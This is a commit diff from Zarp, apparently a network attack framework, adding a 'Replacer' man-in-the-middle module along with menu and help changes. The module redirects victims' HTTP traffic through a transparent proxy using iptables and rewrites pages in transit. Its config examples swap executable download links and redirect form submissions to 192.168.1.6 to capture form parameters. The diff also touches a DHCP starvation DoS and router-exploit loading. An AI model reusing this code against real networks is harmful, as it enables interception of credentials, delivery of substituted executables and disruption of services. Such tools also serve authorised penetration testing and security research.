Skip to content

Commit 3b997f3

Browse files
committed
Merge branch 'dev'
2 parents ccf5a89 + 25cc6aa commit 3b997f3

30 files changed

+462
-198
lines changed

README

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,2 @@
1-
Zarp v0.1.4
1+
Zarp v0.1.5
22
See https://defense.ballastsecurity.net/wiki/index.php/Zarp for more information.

config/replacements

+32
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
#
2+
# zarp's match and replace config file for the Replacer
3+
# module. Entries should be listed in the following form:
4+
#
5+
# match = match replace
6+
#
7+
# This module supports two different match forms; regex and HTML tags. In
8+
# the first case, anything that re.sub accepts, this will accept. In the
9+
# latter case, tags can be specified in the following:
10+
#
11+
# 2 img src = http://google.com
12+
#
13+
# This will parse each img tag and replace the src with http://google.com. To
14+
# distinguish between the two types, 1 should be prefixed to regex entries, and
15+
# 2 should be prefixed to HTML tags.
16+
#
17+
# Several test entries have been listed here. The regex isnt perfect because regex
18+
# with HTML is a monster.
19+
#
20+
21+
# match img tags and replace the src with rick astley
22+
#1 (?<=<img src=['"]).*(?=['"] ) = http://whitsblog.com/wp-content/uploads/2012/05/Rick-astley-never-gonna-give-you-up.jpg
23+
24+
# match exe, zip, and msi files and replace with a download link to Putty
25+
#1 (?<=href=['"]).*[.exe|.zip](?=['"] ) = http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
26+
27+
# match img src tags and replace with rick astley
28+
2 img src = http://whitsblog.com/wp-content/uploads/2012/05/Rick-astley-never-gonna-give-you-up.jpg
29+
30+
# modify form actions to submit to another server, which can be used to copy out
31+
# form parameters and forward them on
32+
2 form action = http://192.168.1.6/

src/core/config.py

+3
Original file line numberDiff line numberDiff line change
@@ -112,6 +112,9 @@ def pptable(rows):
112112
@param rows is a list of lists, first row assumed to be the header
113113
"""
114114

115+
if len(rows) <= 0:
116+
return
117+
115118
# Convert items to strings
116119
new_rows = []
117120
for i in rows:

src/core/stream.py

+29-16
Original file line numberDiff line numberDiff line change
@@ -60,31 +60,41 @@ def initialize(module):
6060
HOUSE[tmp_mod.which][tmp_mod.session_view()] = tmp_mod
6161

6262

63+
def display_options(options, settings):
64+
""" Given a module's options and the column
65+
headers, generate a table, print it, and return
66+
the completed table.
67+
"""
68+
table = []
69+
for (idx, opt) in enumerate(options.keys()):
70+
tmp = []
71+
tmp.append(idx + 1)
72+
tmp.append(options[opt].display)
73+
tmp.append(options[opt].getStr())
74+
tmp.append(options[opt].type)
75+
tmp.append(options[opt].required)
76+
table.append(tmp)
77+
78+
if len(table) > 0:
79+
config.pptable([settings] + table)
80+
else:
81+
Msg('\tModule has no options.')
82+
83+
print color.B_YELLOW + '0' + color.B_GREEN + ') ' + color.B_WHITE + 'Back' + color.END
84+
return table
85+
6386
def handle_opts(module):
6487
""" The user has selected a module, so we should parse out all the
6588
options for this particular module, set the config, and when
6689
requested, run it. This is kinda messy, but works for now.
6790
"""
6891
# fetch generic module options and module-specific options
6992
options = module.config
93+
94+
# dump module settings
7095
Setting = ['', 'Option', 'Value', 'Type', 'Required']
96+
table = display_options(options, Setting)
7197
while True:
72-
# generate list of opts
73-
table = []
74-
for idx, opt in enumerate(options.keys()):
75-
tmp = []
76-
tmp.append(idx+1)
77-
tmp.append(options[opt].display)
78-
tmp.append(options[opt].getStr())
79-
tmp.append(options[opt].type)
80-
tmp.append(options[opt].required)
81-
table.append(tmp)
82-
if len(table) > 0:
83-
config.pptable([Setting] + table)
84-
else:
85-
Msg('\tModule has no options.')
86-
print color.B_YELLOW + '0' + color.B_GREEN + ') ' + color.B_WHITE + 'Back' + color.END
87-
8898
# fetch command/option
8999
try:
90100
choice = raw_input('%s > ' % (color.B_WHITE + module.which + color.END))
@@ -109,6 +119,9 @@ def handle_opts(module):
109119
print '%s%s%s' % (color.GREEN,
110120
'-' * len(module.info.split('\n')[1].strip()),
111121
color.END)
122+
elif choice == "ops":
123+
display_options(options, Setting)
124+
continue
112125
elif len(choice.split(' ')) > 1:
113126
choice = choice.split(' ')
114127
try:

src/core/util.py

+7-3
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@
2424

2525
def version():
2626
"""Zarp version"""
27-
return "0.1.4"
27+
return "0.1.5"
2828

2929

3030
def header():
@@ -280,7 +280,7 @@ def check_opts(choice):
280280
elif 'help' in choice:
281281
help()
282282
choice = -1
283-
elif 'opts' in choice:
283+
elif 'gops' in choice:
284284
config.dump()
285285
choice = -1
286286
elif 'quit' in choice or 'exit' in choice:
@@ -317,7 +317,7 @@ def help():
317317
"""
318318
print color.B_YELLOW + '\n zarp options:' + color.B_WHITE
319319
print color.B_GREEN + '\thelp\t\t\t' + color.B_WHITE + '- This menu'
320-
print color.B_GREEN + '\topts\t\t\t' + color.B_WHITE + '- Dump zarp current settings'
320+
print color.B_GREEN + '\tgops\t\t\t' + color.B_WHITE + '- Display global options'
321321
print color.B_GREEN + '\texit\t\t\t' + color.B_WHITE + '- Exit immediately'
322322
print color.B_GREEN + '\tbg\t\t\t' + color.B_WHITE + '- Put zarp to background'
323323
print color.B_GREEN + '\tset [' + color.B_YELLOW + 'key' + color.B_GREEN + '] [' + \
@@ -331,6 +331,7 @@ def help():
331331
color.B_WHITE + '- View options for setting'
332332
print color.B_GREEN + '\trun (r)\t\t\t' + color.B_WHITE + '- Run the selected module'
333333
print color.B_GREEN + '\tinfo \t\t\t' + color.B_WHITE + '- Display module information'
334+
print color.B_GREEN + '\tops \t\t\t' + color.B_WHITE + '- Display module options'
334335
print color.END
335336

336337

@@ -461,6 +462,9 @@ def eval_type(value, type):
461462
rval = (True, value.split(','))
462463
except:
463464
rval = (False, None)
465+
elif type == 'file':
466+
if does_file_exist(value):
467+
rval = (True, value)
464468
else:
465469
Error('Unrecognized type: %s'%type)
466470
return rval

src/modules/attacks/__init__.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
__all__ = ["beef_hook", "pemod"]
1+
__all__ = ["beef_hook", "pemod", "replacer"]

src/modules/attacks/replacer.py

+170
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,170 @@
1+
from attack import Attack
2+
from libmproxy import controller, proxy, platform
3+
from zoption import Zoption
4+
from threading import Thread
5+
from os import getcwd
6+
from HTMLParser import HTMLParser
7+
import re
8+
import util
9+
10+
class replacer(Attack):
11+
def __init__(self):
12+
super(replacer, self).__init__("Replacer")
13+
self.replace_regex = {} # structure of {'match':'replace'}
14+
self.replace_tags = {}
15+
self.hooker = None
16+
self.proxy_server = None
17+
self.iptable = "iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 5544"
18+
self.config.update({"replace_file":Zoption(type="file",
19+
value = getcwd() + '/config/replacements',
20+
required = True,
21+
display = "File containing replace matches")
22+
})
23+
self.info = """
24+
Replacer is an HTTP find and replace module. All HTTP traffic
25+
accessible by zarp may be modified.
26+
27+
This will load the defined file, parse it, and listen for all traffic
28+
on the local interface. Content-Length header is automatically updated,
29+
and the find/replace matches affect both the body and the headers. Review
30+
the config file at config/replacements for information regarding formatting.
31+
"""
32+
33+
def modip(self, enable=True):
34+
""" Enable or disable the iptable rule
35+
"""
36+
if enable:
37+
util.init_app(self.iptable)
38+
else:
39+
util.init_app(self.iptable.replace('-A', '-D'))
40+
41+
def initialize(self):
42+
self.load_file()
43+
if (len(self.replace_regex) + len(self.replace_tags)) <= 0:
44+
util.Error("No matches loaded.")
45+
return False
46+
47+
self.modip()
48+
49+
self.running = True
50+
config = proxy.ProxyConfig(transparent_proxy = dict(
51+
resolver = platform.resolver(),
52+
sslports = [443])
53+
)
54+
55+
config.skip_cert_cleanup = True
56+
self.proxy_server = proxy.ProxyServer(config, 5544)
57+
self.hooker = Hooker(self.proxy_server, self.replace_regex,
58+
self.replace_tags)
59+
60+
util.Msg("Launching replacer...")
61+
thread = Thread(target=self.hooker.run)
62+
thread.start()
63+
64+
return True
65+
66+
def shutdown(self):
67+
util.Msg("Shutting down replacer...")
68+
self.modip(False)
69+
self.proxy_server.shutdown()
70+
self.hooker.shutdown()
71+
72+
def load_file(self):
73+
""" Load the defined file and attempt to build the struct
74+
"""
75+
with open(self.config['replace_file'].value, 'r') as f:
76+
lines = f.readlines()
77+
for line in lines:
78+
if (len(line) > 0 and line[0] == '#') or len(line) <= 2:
79+
continue
80+
81+
cut = line.split(" = ")
82+
if len(cut) < 2 or len(cut) > 2:
83+
util.Error("Incorrect formatting for line '%s'" % cut)
84+
else:
85+
try:
86+
if cut[0][0] == '1':
87+
# this is a regex entry, parse and try to compile it
88+
tmp = re.compile(cut[0][2:])
89+
self.replace_regex[cut[0][2:]] = cut[1].rstrip('\n')
90+
elif cut[0][0] == '2':
91+
#
92+
# this is a tag, split it out and build a dictionary.
93+
# The dictionary is essentially:
94+
# {'outer' : {'attribute' : 'replacement'}}
95+
# Each outer tag may have multiple attributes for
96+
# replacement.
97+
#
98+
tags = cut[0][2:].split(' ')
99+
100+
if tags[0] in self.replace_tags:
101+
self.replace_tags[tags[0]][tags[1]] = cut[1].rstrip('\n')
102+
else:
103+
self.replace_tags[tags[0]] = {}
104+
self.replace_tags[tags[0]][tags[1]] = cut[1].rstrip('\n')
105+
except:
106+
util.Error("Incorrect regex: '%s'" % cut[0][2:])
107+
util.Msg("Loaded %s matches" % (len(self.replace_regex) + len(self.replace_tags)))
108+
return True
109+
110+
def session_view(self):
111+
""" Return the number of loaded matches
112+
"""
113+
return "%d regex values loaded." % (len(self.replace_regex) + len(self.replace_tags))
114+
115+
class HTMLHooker(HTMLParser):
116+
""" Parsing and modifying HTML is much easier with the HTMLParser.
117+
This handles parsing tags.
118+
"""
119+
def __init__(self, match):
120+
HTMLParser.__init__(self)
121+
self.match = match
122+
self.data = {}
123+
124+
def handle_starttag(self, tag, attrs):
125+
for key in self.match.keys():
126+
if key == tag:
127+
for itag in self.match[key].keys():
128+
# iterate through attribute tags to see if any match
129+
for tag_atts in attrs:
130+
if tag_atts[0] == itag:
131+
if itag not in self.data.keys():
132+
self.data[itag] = []
133+
if tag_atts[1] not in self.data[itag]:
134+
self.data[itag].append(tag_atts[1])
135+
break
136+
137+
class Hooker(controller.Master):
138+
""" Listens for and parses HTTP traffic
139+
"""
140+
def __init__(self, server, rep_regex, rep_tags):
141+
controller.Master.__init__(self, server)
142+
self.rep_regex = rep_regex
143+
self.rep_tags = rep_tags
144+
145+
def run(self):
146+
try:
147+
return controller.Master.run(self)
148+
except:
149+
self.shutdown()
150+
151+
def handle_response(self, msg):
152+
""" Iterate through the response and replace values
153+
"""
154+
for match in self.rep_regex:
155+
msg.replace(match, self.rep_regex[match])
156+
157+
# modify the DOM
158+
try:
159+
for tag in self.rep_tags.keys():
160+
tmp = {}
161+
tmp[tag] = self.rep_tags[tag]
162+
parser = HTMLHooker(tmp)
163+
parser.feed(msg.get_decoded_content())
164+
for entry in parser.data.keys():
165+
for data_entry in parser.data[entry]:
166+
rep_entry = self.rep_tags[tag][entry]
167+
msg.replace(data_entry, rep_entry)
168+
except Exception, e:
169+
util.debug(e)
170+
msg.reply()

src/modules/dos/dhcp_starvation.py

+2-1
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,5 @@
11
from scapy.all import *
2+
from time import sleep
23
from util import Msg
34
from dos import DoS
45
from threading import Thread
@@ -45,4 +46,4 @@ def starve(self):
4546
pkt /= BOOTP(chaddr=RandString(12, '0123456789abcdef'))
4647
pkt /= DHCP(options=[("message-type", 'discover'), 'end'])
4748
sendp(pkt)
48-
sleep(self.config['interval'].value)
49+
sleep(self.config['interval'].value)

src/modules/parameter/router_pwn.py

+7-9
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
import importlib
22
import routers
33
import util
4+
import stream
45
from parameter import Parameter
56

67

@@ -21,9 +22,10 @@ def load(self):
2122
% router)
2223
self.routers[router] = []
2324
for vuln in mod.__all__:
24-
v = getattr(importlib.import_module('modules.parameter.routers.'
25-
'%s.%s' % (router, vuln), 'routers'), vuln)
26-
self.routers[router].append(v)
25+
path = "modules.parameter.routers.%s.%s" % (router, vuln)
26+
if util.check_dependency(path):
27+
mod = getattr(importlib.import_module(path, 'routers'), vuln)
28+
self.routers[router].append(mod)
2729

2830
def initialize(self):
2931
""" Load router exploits; store {router:[vuln]}
@@ -39,14 +41,10 @@ def initialize(self):
3941
else:
4042
router = self.routers[self.routers.keys()[choice - 1]]
4143
while True:
42-
# print router modules
43-
choice = util.print_menu(['%s - %s' %
44-
(x().router, x().vuln) for x in router])
44+
choice = util.print_menu([x().which for x in router])
4545
if choice is 0:
4646
break
4747
elif choice is -1 or choice > len(router):
4848
pass
4949
else:
50-
tmp = router[choice - 1]()
51-
if tmp.fetch_ip():
52-
tmp.run()
50+
stream.initialize(router[choice - 1])

0 commit comments

Comments
 (0)